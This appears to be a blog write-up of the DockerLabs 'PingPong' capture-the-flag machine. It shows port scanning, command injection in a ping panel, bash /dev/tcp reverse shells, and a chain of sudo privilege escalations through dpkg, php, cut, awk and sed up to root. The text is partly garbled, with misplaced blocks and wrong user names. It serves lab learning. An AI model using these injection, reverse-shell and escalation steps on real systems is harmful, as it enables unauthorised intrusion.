PINGPONG DOCKERLABS
PINGPONG
We have to execute the machine with the command which you can see below.
┌──(luis㉿kali)-[~/Descargas/pingpong]
└─$ sudo bash auto_deploy.sh pingpong.tar
[sudo] contraseña para luis:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
- port 80(HTTP)
- port 5000(UPNP)
- port 443(HTTPS)
┌──(root㉿kali)-[/home/luis/Descargas/pingpong]
└─# nmap -n -Pn -p- --min-rate 5000 -sC 172.17.0.2 -vvv
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-11 18:48 CEST
NSE: Loaded 126 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:48
Completed NSE at 18:48, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:48
Completed NSE at 18:48, 0.00s elapsed
Initiating ARP Ping Scan at 18:48
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 18:48, 0.09s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:48
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 443/tcp on 172.17.0.2
Discovered open port 5000/tcp on 172.17.0.2
Completed SYN Stealth Scan at 18:48, 0.93s elapsed (65535 total ports)
NSE: Script scanning 172.17.0.2.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:48
Completed NSE at 18:48, 1.85s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:48
Completed NSE at 18:48, 0.00s elapsed
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000050s latency).
Scanned at 2025-08-11 18:48:29 CEST for 3s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Ubuntu Default Page: It works
443/tcp open https syn-ack ttl 64
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_ssl-date: TLS randomness does not represent time
|_http-title: Apache2 Ubuntu Default Page: It works
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=example.com/organizationName=Your Organization/stateOrProvinceName=California/countryName=US/localityName=San Francisco/organizationalUnitName=Your Unit
| Issuer: commonName=example.com/organizationName=Your Organization/stateOrProvinceName=California/countryName=US/localityName=San Francisco/organizationalUnitName=Your Unit
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-19T14:20:49
| Not valid after: 2025-05-19T14:20:49
| MD5: 9ba4:3106:4c16:47c8:dc44:cc43:9e96:b3d0
| SHA-1: 5c55:1ab3:9e32:5498:c454:8eb9:e203:a46a:8e7f:bd18
| -----BEGIN CERTIFICATE-----
| MIID4zCCAsugAwIBAgIULigYxnihUEciHsadhZIVB1bHlvowDQYJKoZIhvcNAQEL
| BQAwgYAxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQH
| DA1TYW4gRnJhbmNpc2NvMRowGAYDVQQKDBFZb3VyIE9yZ2FuaXphdGlvbjESMBAG
| A1UECwwJWW91ciBVbml0MRQwEgYDVQQDDAtleGFtcGxlLmNvbTAeFw0yNDA1MTkx
| NDIwNDlaFw0yNTA1MTkxNDIwNDlaMIGAMQswCQYDVQQGEwJVUzETMBEGA1UECAwK
| Q2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEaMBgGA1UECgwRWW91
| ciBPcmdhbml6YXRpb24xEjAQBgNVBAsMCVlvdXIgVW5pdDEUMBIGA1UEAwwLZXhh
| bXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDEqLvUG75u
| /h+CCctOKN+mdmVrGB7kj622+bMKv1Nb0tWOkxGJfeTpmofz2F7wYP4G+mgkolsj
| e3Nhzbhuw7jzhHEXTkjaeJdVstODXfr2SO3hzGTFJNf4QAJdidzywO415C6pv/ri
| mZdwBuVTMXRkH/Blz6wInPTx6lPKrHFWmaYnvroa+FyUNFqZpxlKIp/8Ztyi8rQ3
| DOyRGvKD850XJDCtoN8bXBOjNa8aarzC5CM4SJY78WrGYzysrXSrZBQP8ztJnmCN
| gkurONPKidA9q4DbYGzDUrXP2wyPLMgvlwN7hoPDGhldwn6oHJfiMambrOqiNd02
| +4G46l6HNO8bAgMBAAGjUzBRMB0GA1UdDgQWBBRskdiM67+xLIfhKFUDsRTW2iuY
| yzAfBgNVHSMEGDAWgBRskdiM67+xLIfhKFUDsRTW2iuYyzAPBgNVHRMBAf8EBTAD
| AQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAorD07Oh+lrObtJY1cRyMDUdSVzWXqc5C1
| ezcGUsBaRTkbgHNpiAE71aXW6izz+AdFuiadOtJUIZHBbQ4YhrHPGabTeobtSc2W
| 7wg8s7n/PyDVNxPjx6EyNYvANfnQNFSrX4g+Z4ovEmhZP/YiT3L4ChTaB0rkLhmK
| E9aytIGKrh0OqhYD4mZrqCfXcUHpNgRfJQhjCjGdFte4PoPT+nPgua3Hp38sUnGX
| +qrYDZI52+OO6ChEE6Miguz9ji+YdbnPZwpV2mWR2+BWjOgQ5QnSBeorXLjfnLQn
| /a9ezvNvIke18R0FR0AO9/3RX73To5+vo5Bx+fXiREKStlDvh39v
|_-----END CERTIFICATE-----
5000/tcp open upnp syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:48
Completed NSE at 18:48, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:48
Completed NSE at 18:48, 0.00s elapsed
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.35 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
In addition, we have to execute the scrawling scan with the command which you can see below, and we have discovered this file in the port 80:
- ./php
- /javascript
- /machine.php
┌──(root㉿kali)-[/home/luis/Descargas]
└─# gobuster dir -u "http://172.17.0.2:80/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,tar,back
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2:80/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: back,php,txt,tar
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 275]
/javascript (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]
/machine.php (Status: 200) [Size: 6989]
Progress: 192760 / 1102800 (17.48%) /.php (Status: 403) [Size: 275]
/server-status (Status: 403) [Size: 275]
Progress: 777273 / 1102800 (70.48%) Progress: 1102795 / 1102800 (100.00%)
===============================================================
Finished
===============================================================
Now, as we know there is a webpage in port 5000 let´s go the next steps as you can see in the pictures below:
- We have discover a interactive control panel
- We should write ip which is local IP ADDRESS
- We should write ip which is local IP ADDRESS and ; whoami and we have dicovered the vulnerability
Now as we have discovered the vulnerability which is RCE we should get reverse shell with this steps:
- execute the reverse shell which is, bash -c ‘bash - i >& /dev/tcp/172.17.0.2/443 >& 1
- we should get listening port as you can see below
- of all has been done correctly, we should be able to get reverse shell in our attacker machine as you can see below
┌──(root㉿kali)-[/home/luis/Descargas/pingpong]
└─# nc -lvp 443
listening on [any] 443 ...
172.17.0.2: inverse host lookup failed: Unknown host
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 36574
bash: cannot set terminal process group (33): Inappropriate ioctl for device
bash: no job control in this shell
Now, we must execute the next commands to create persistence in the machine you can see below which are:
- script /dev/null -c bash
- ^Z
- stty raw -echo;fg
- reset xterm
- export TERM=xterm
- export SHELL=BASH
freddy@bdb0281c8b6c:~$ export TERM=xterm
freddy@bdb0281c8b6c:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
freddy@bdb0281c8b6c:~$ ^Z
zsh: suspended nc -lvp 443
┌──(root㉿kali)-[/home/luis/Descargas/pingpong]
└─# stty raw -echo;fg
[1] + continued nc -lvp 443
reset xterm
freddy@bdb0281c8b6c:~$ export SHELL=BASH
freddy@bdb0281c8b6c:~$ export TERM=xterm
freddy@bdb0281c8b6c:~$ sudo -l
Now let’s go to privilege scalation where we must execute this command which is sudo -l and then we will see if it’s possible pivoting to other users, as you can see below.
Matching Defaults entries for freddy on bdb0281c8b6c:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User freddy may run the following commands on bdb0281c8b6c:
(bobby) NOPASSWD: /usr/bin/dpkg
In addition, we have to search in google the https://gtfobins.github.io/gtfobins/dpkg/#su and we should be able to obtain pivoting to other user as you can see below with this command which is:
- sudo -u Bobby dpkg -l
freddy@bdb0281c8b6c:~$ sudo -u bobby dpkg -l
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architectu
re Description
+++-===============================-=================================-==========
==-=============================================================================
===
ii adduser 3.137ubuntu1 all
add and remove users and groups
ii apache2 2.4.58-1ubuntu8.1 amd64
Apache HTTP Server
ii apache2-bin 2.4.58-1ubuntu8.1 amd64
Apache HTTP Server (modules and other binary files)
ii apache2-data 2.4.58-1ubuntu8.1 all
Apache HTTP Server (common files)
ii apache2-utils 2.4.58-1ubuntu8.1 amd64
Apache HTTP Server (utility programs for web servers)
ii apt 2.7.14build2 amd64
commandline package manager
ii base-files 13ubuntu10 amd64
Debian base system miscellaneous files
ii base-passwd 3.6.3build1 amd64
Right now! we must execute this command which is ! /bin/bash, where we will be able to get pivoting to other user.
! /bin/bash
Now, we must execute the same command before which is sudo -l and then we will should execute the reverse shell and we will obtain the next user which is bobby as you can see below.
bobby@bdb0281c8b6c:/home/freddy$ sudo -l
Matching Defaults entries for bobby on bdb0281c8b6c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User bobby may run the following commands on bdb0281c8b6c:
(gladys) NOPASSWD: /usr/bin/php
bobby@bdb0281c8b6c:/home/freddy$
┌──(luis㉿kali)-[~/Descargas/pingpong]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
bobby@bdb0281c8b6c:/home/freddy$ CMD="/bin/bash -c \'bash -i >& /dev/tcp/172.17.0.2/4444 0>&1\'"
sudo -u gladys php -r "system('$CMD');"
gladys@bdb0281c8b6c:/home/freddy$ sudo -l
Matching Defaults entries for gladys on bdb0281c8b6c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User gladys may run the following commands on bdb0281c8b6c:
Now, we must execute the same command before which is sudo -l and then we will should execute LFILE=/opt/chocolatitocontraseña.txt in the path /opt and we will obtain the next user which is chocolatito as you can see below and then we should execute sudo -u chocolatito cut -d "" -f1 "$LFILE" where we have got password which is chocolatitopassword.
(chocolatito) NOPASSWD: /usr/bin/cut
gladys@bdb0281c8b6c:/home/freddy$ ls
ls: cannot open directory '.': Permission denied
gladys@bdb0281c8b6c:/home/freddy$ cd ..
gladys@bdb0281c8b6c:/home$ ls
bobby chocolatito freddy gladys theboss ubuntu
gladys@bdb0281c8b6c:/home$ cd gladys/
gladys@bdb0281c8b6c:~$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos
gladys@bdb0281c8b6c:~$ cd ..
gladys@bdb0281c8b6c:/home$ ls
bobby chocolatito freddy gladys theboss ubuntu
gladys@bdb0281c8b6c:/home$ cd /
gladys@bdb0281c8b6c:/$ ls
bin dev home lib.usr-is-merged media opt root sbin sys usr
boot etc lib lib64 mnt proc run srv tmp var
gladys@bdb0281c8b6c:/$ cd /opt/
gladys@bdb0281c8b6c:/opt$ ls
chocolatitocontraseña.txt
gladys@bdb0281c8b6c:/opt$
gladys@bdb0281c8b6c:/opt$ cat chocolatitocontraseña.txt
cat: chocolatitocontraseña.txt: Permission denied
gladys@bdb0281c8b6c:/opt$ LFILE=/opt/chocolatitocontraseña.txt
gladys@bdb0281c8b6c:/opt$ sudo -u chocolatito cut -d "" -f1 "$LFILE"
chocolatitopassword
gladys@bdb0281c8b6c:/opt$ su chocolatito
Password:
chocolatito@bdb0281c8b6c:/opt$ sudo -l
Matching Defaults entries for chocolatito on bdb0281c8b6c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
Now, we must execute the same command before which is sudo -l and then we will should execute sudo -u theboss awk 'BEGIN {system("/bin/sh")}' bash -p and we will obtain the next user which is chocolatito as you can see below.
User chocolatito may run the following commands on bdb0281c8b6c:
(theboss) NOPASSWD: /usr/bin/awk
chocolatito@bdb0281c8b6c:/opt$
chocolatito@bdb0281c8b6c:/opt$ sudo -l
Matching Defaults entries for chocolatito on bdb0281c8b6c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User chocolatito may run the following commands on bdb0281c8b6c:
chocolatito@bdb0281c8b6c:/opt$ sudo -u theboss awk 'BEGIN {system("/bin/sh")}'
$ bash -p
theboss@bdb0281c8b6c:/opt$ sudo -l
Matching Defaults entries for theboss on bdb0281c8b6c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
Now, we must execute the same command before which is sudo -l and then we will should execute sudo sed -n '1e exec sh 1>&0' /etc/hosts and we will obtain the next user which is root as you can see below.
User theboss may run the following commands on bdb0281c8b6c:
(root) NOPASSWD: /usr/bin/sed
theboss@bdb0281c8b6c:/opt$
chocolatito@bdb0281c8b6c:/opt$ sudo -l
Matching Defaults entries for chocolatito on bdb0281c8b6c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bi
User theboss may run the following commands on bdb0281c8b6c:
(root) NOPASSWD: /usr/bin/sed
theboss@bdb0281c8b6c:/opt$ sudo sed -n '1e exec sh 1>&0' /etc/hosts
# bash -p
root@bdb0281c8b6c:/opt#
Comments
Post a Comment